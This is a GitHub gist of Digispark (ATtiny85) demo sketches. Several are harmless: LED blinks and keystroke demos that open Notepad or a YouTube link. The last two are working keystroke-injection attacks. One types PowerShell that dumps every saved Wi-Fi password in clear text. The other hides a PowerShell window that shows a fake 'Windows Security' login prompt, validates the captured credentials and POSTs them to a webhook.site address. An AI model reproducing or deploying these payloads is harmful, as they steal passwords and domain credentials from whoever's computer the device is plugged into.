Last active
May 5, 2025 17:34
-
-
Save byronwai/555fe1ee341ed24e68d9bb07edcc0245 to your computer and use it in GitHub Desktop.
All Demo Code for Digispark
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| void setup() { | |
| pinMode(1, OUTPUT); // On board LED terhubung dengan port 1 attiny85 | |
| } | |
| void loop() { | |
| digitalWrite(1, HIGH); | |
| delay(1000); | |
| digitalWrite(1, LOW); | |
| delay(1000); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| void setup() { | |
| pinMode(1, OUTPUT); // On board LED terhubung dengan port 1 attiny85 | |
| } | |
| void loop() { | |
| digitalWrite(1, HIGH); | |
| delay(200); | |
| digitalWrite(1, LOW); | |
| delay(200); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include "DigiKeyboard.h" | |
| void setup() { | |
| } | |
| void loop() { | |
| DigiKeyboard.delay(2000); | |
| DigiKeyboard.sendKeyStroke(0); | |
| DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | |
| DigiKeyboard.delay(1000); | |
| DigiKeyboard.print("notepad.exe"); | |
| DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
| DigiKeyboard.delay(1000); | |
| DigiKeyboard.sendKeyStroke(KEY_N, MOD_CONTROL_LEFT); | |
| DigiKeyboard.delay(1000); | |
| DigiKeyboard.print("Hello World"); | |
| for(;;){ /*empty*/ } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include "DigiKeyboard.h" | |
| void setup() { | |
| } | |
| void loop() { | |
| DigiKeyboard.delay(2000); | |
| DigiKeyboard.sendKeyStroke(0); | |
| DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | |
| DigiKeyboard.delay(1000); | |
| DigiKeyboard.print("https://youtu.be/W-0lSiV-H7k?si=osvQcAOJZb110kwl"); | |
| DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
| for(;;){ /*empty*/ } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include "DigiKeyboard.h" | |
| void setup() | |
| { | |
| } | |
| void loop() | |
| { | |
| DigiKeyboard.sendKeyStroke(0); | |
| DigiKeyboard.delay(500); | |
| DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | |
| DigiKeyboard.delay(500); | |
| DigiKeyboard.print("powershell"); | |
| DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
| DigiKeyboard.delay(1000); | |
| DigiKeyboard.println(F("(netsh wlan show profiles) | Select-String \"\\:(.+)\$\" | %{$name=$_.Matches.Groups[1].Value.Trim(); \$_} | %{(netsh wlan show profile name=\"\$name\" key=clear)} | Select-String \"Key Content\\W+\\:(.+)\$\" | %{$pass=$_.Matches.Groups[1].Value.Trim(); \$_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String -OutVariable dataCaptured")); | |
| DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
| for(;;){ /*empty*/ } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include "DigiKeyboard.h" | |
| void setup() { | |
| pinMode(1, OUTPUT); //LED on Model A | |
| } | |
| void loop() { | |
| DigiKeyboard.update(); | |
| DigiKeyboard.sendKeyStroke(0); | |
| DigiKeyboard.delay(3000); | |
| DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run | |
| DigiKeyboard.delay(500); | |
| DigiKeyboard.println("powershell -noexit -command \"mode con cols=18 lines=1\""); //smallest window possible | |
| DigiKeyboard.delay(1000); | |
| DigiKeyboard.println(F("PowerShell.exe -windowstyle hidden {Start-Sleep -s 60;Add-Type -assemblyname system.DirectoryServices.accountmanagement;$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);$domainDN = \"LDAP://\" + ([ADSI]"").distinguishedName;while($true){$credential = $host.ui.PromptForCredential(\"Windows Security\", \"Enter your credentials\", \"\", \"\");if($credential){$creds = $credential.GetNetworkCredential();[String]$user = $creds.username;[String]$pass = $creds.password;[String]$domain = $creds.domain;$authlocal = $DS.ValidateCredentials($user, $pass);$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass);if(($authlocal -eq $true) -or ($authdomain.name -ne $null)){$script:pastevalue = \"Username: \" + $user + \" Password: \" + $pass + \" Domain:\" + $domain + \" Domain:\"+ $authdomain.name;break}}};Invoke-WebRequest -Uri https://webhook.site/e6d7710e-7dd7-44f6-8b06-5ad7b5a46405 -Method POST -Body $pastevalue}")); //payload | |
| DigiKeyboard.delay(500); | |
| digitalWrite(1, HIGH); //turn on led when program finishes | |
| DigiKeyboard.delay(90000); | |
| digitalWrite(1, LOW); | |
| DigiKeyboard.delay(5000); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment